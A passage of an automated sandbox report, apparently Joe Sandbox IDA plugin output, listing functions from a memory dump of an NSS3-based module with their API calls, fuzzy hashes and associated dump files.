Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction ID: 56f84048684db3e74218dab4aef6e6be26883f57d961bba387458a9e064674ef
Opcode Fuzzy Hash: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction Fuzzy Hash: FE1193B17062609BEB018F15D9496A677B4AB8631EF24813DD95DC7B43DB31D808CBE1

Function 6C62BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62BDCA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BDDB

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BDEC

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C62BE03

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62BE3B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 688085e03d26fc61e0a26b1c6ba54a06508803dfbda23ac33ac2421e8acace33
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 9701FE65B4121176F71012667C01FA7654CCFD27CDF140030FF1696B82FB59E51A86BE

Function 6C680FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B
TlsGetValue.KERNEL32(00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681044
free.MOZGLUE(00000000,?,00000800,6C61EF74,00000000), ref: 6C681064

Strings

security, xrefs: 6C681025

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction ID: 0ad40f94b6c2a2b40ccb5a592c3a7072dd29388837b5d4c928dd49ca28600ad0
Opcode Fuzzy Hash: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction Fuzzy Hash: A7014470A422549BEB212F2C9C04B963A68BF0778AF010536E92896A61EF60C154DBF9

Function 6C6B1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6B1C74

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6B1C92
free.MOZGLUE(?), ref: 6C6B1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6B1CCB
free.MOZGLUE(?), ref: 6C6B1CD2

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction ID: a8f6493c12233244ba2db9976f3e1fb1e0556a5c39fad3cf77bba7dde1b65e6b
Opcode Fuzzy Hash: 0103fffa8d7982e87c34583c8bcee3b648949976c55d3750d80b173d83bc4365
Instruction Fuzzy Hash: E901B9B1F066246FDF11AFA49D0D74577B4AB0B71BF200135EA0AB2B40D739A115C79A

Function 6C6C2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C3046

Part of subcall function 6C6AEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C697FFB), ref: 6C6C312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C2E8B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C6AF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C699BFF,?,00000000,00000000), ref: 6C6AF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C697FFA), ref: 6C6C2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C317B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction ID: b17ec9d1520dff68826557902f4af7afd8fce9b9affcf7130c106abd9fd89f21
Opcode Fuzzy Hash: 8a5890596f2a01ef8486d6ec1c6c06634776496d1bfa4420f200e73b156e53ab
Instruction Fuzzy Hash: C0A1AE71A002189FDB24CF54CC84BEAB7B5EF49308F148199ED4967781E731AD85CFA6

Function 6C68ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C68ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C68EDCE

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

free.MOZGLUE(00000000,?,?,?,?,6C68B04F), ref: 6C68EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C68EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C68EEFB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction ID: 7fd4916c62e3978b06d99fe4d4106a8228c06c6f84e74e4cb4adaab6427b1695
Opcode Fuzzy Hash: c977bc0871691b5080ff74c2a542d334b082bfbce55b06ebe912e34c5043737c
Instruction Fuzzy Hash: 3D819DB9A022059FEB10CF55CC84BAB77F5BF89308F144428E9259BB51DB30E805CBB9

Function 6C68CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

PR_Now.NSS3 ref: 6C68CD35

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

Part of subcall function 6C676C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

PR_GetCurrentThread.NSS3 ref: 6C68CD54

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Part of subcall function 6C677260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621CCC,00000000,00000000,?,?), ref: 6C67729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C68CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C68CE2C

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C68CE40

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

Part of subcall function 6C68CEE0: PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC
Part of subcall function 6C68CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
Part of subcall function 6C68CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
Part of subcall function 6C68CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction ID: f625918c0efc58c2b3c9c5a3adee8dc4a2bbfa31ccb5f31ca807e0658c0daab1
Opcode Fuzzy Hash: 2e45d8df93375fb2e8e1167d01ab8c174acf474328e85cda0b3a2a1e7f521c13
Instruction Fuzzy Hash: 1E51E9B6A02104AFE710DF69DC44BDA77F4EF49348F250624E916A7740EB31E905CBB9

Function 6C5A3850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6C5A3890
TlsGetValue.KERNEL32 ref: 6C5A38D2
PR_CallOnce.NSS3(6C7814E4,6C6ECC70), ref: 6C5A391C
PR_GetCurrentThread.NSS3 ref: 6C5A3977
memcpy.VCRUNTIME140(?,?,?), ref: 6C5A39A2
PR_GetCurrentThread.NSS3 ref: 6C5A39F2

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: 30202be282bf2dc426ec41d2287fa62826d80eb2ccc37d27bbd056f8af89d702
Instruction ID: 0d9ca179d93787f169eb27a676616affb58919f50ec80f74a17d3e05f5df9908
Opcode Fuzzy Hash: 30202be282bf2dc426ec41d2287fa62826d80eb2ccc37d27bbd056f8af89d702
Instruction Fuzzy Hash: 60411571A092118FD7149F7ACC4476E77F4BF4A30CF208669E89897A51E730D886CB99

Function 6C69FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C69FFE5

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6A0004
PR_EnterMonitor.NSS3(?), ref: 6C6A001B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: e6c97ea3cc2512c8b3aadce9457aa2c5c0225770d4216dbe9681ae080f229e8f
Instruction ID: c5b1677218e732e0f199a6f85de4e0cfae9fd2aef46a3cd948c02fdece431440
Opcode Fuzzy Hash: e6c97ea3cc2512c8b3aadce9457aa2c5c0225770d4216dbe9681ae080f229e8f
Instruction Fuzzy Hash: 874127756486808BE7204AE9DC517EB72A1DF4234CF10053DD44BCAE90E7B9AD5BCA4E

Function 6C65EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C65EF38

Part of subcall function 6C649520: PK11_IsLoggedIn.NSS3(00000000,?,6C67379E,?,00000001,?), ref: 6C649542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C65EF53

Part of subcall function 6C664C20: TlsGetValue.KERNEL32 ref: 6C664C4C
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?), ref: 6C664C60
Part of subcall function 6C664C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
Part of subcall function 6C664C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
Part of subcall function 6C664C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
Part of subcall function 6C664C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A

PR_GetCurrentThread.NSS3 ref: 6C65EF9E

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

free.MOZGLUE(00000000), ref: 6C65EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C65F016
free.MOZGLUE(00000000), ref: 6C65F022

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction ID: 96d7f4384856830ecf6f78c6220cf3362af33e45140e6ba6ceb82f5a8574bb3b
Opcode Fuzzy Hash: 1979d025e65bd13a9118de457f9aa351ebf3b5b7175795f10a9ae96053029a4d
Instruction Fuzzy Hash: 8441A471E00109ABDF018FA9DC54BEF7BB9AF49348F544025F904A7350EB72C9258BA9

Function 6C634860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C634894

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6348CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6348DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6348FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C634912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63494A

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 5a5a358233791332ceb30b58feda584853015554eafe905a7970332cd044ce18
Instruction ID: ee99eb5e91d1aeb0c3487c57e5ae855c013a6549e5029bb42a49ba49510e0c1b
Opcode Fuzzy Hash: 5a5a358233791332ceb30b58feda584853015554eafe905a7970332cd044ce18
Instruction Fuzzy Hash: 6341E4706043156BE710CF69C880BBBB7E89F85358F00292CEA5987781F7B1D904CB6E

Function 6C64CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C64CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C64D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C64D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64D025
PR_NewLock.NSS3 ref: 6C64D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64D074

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
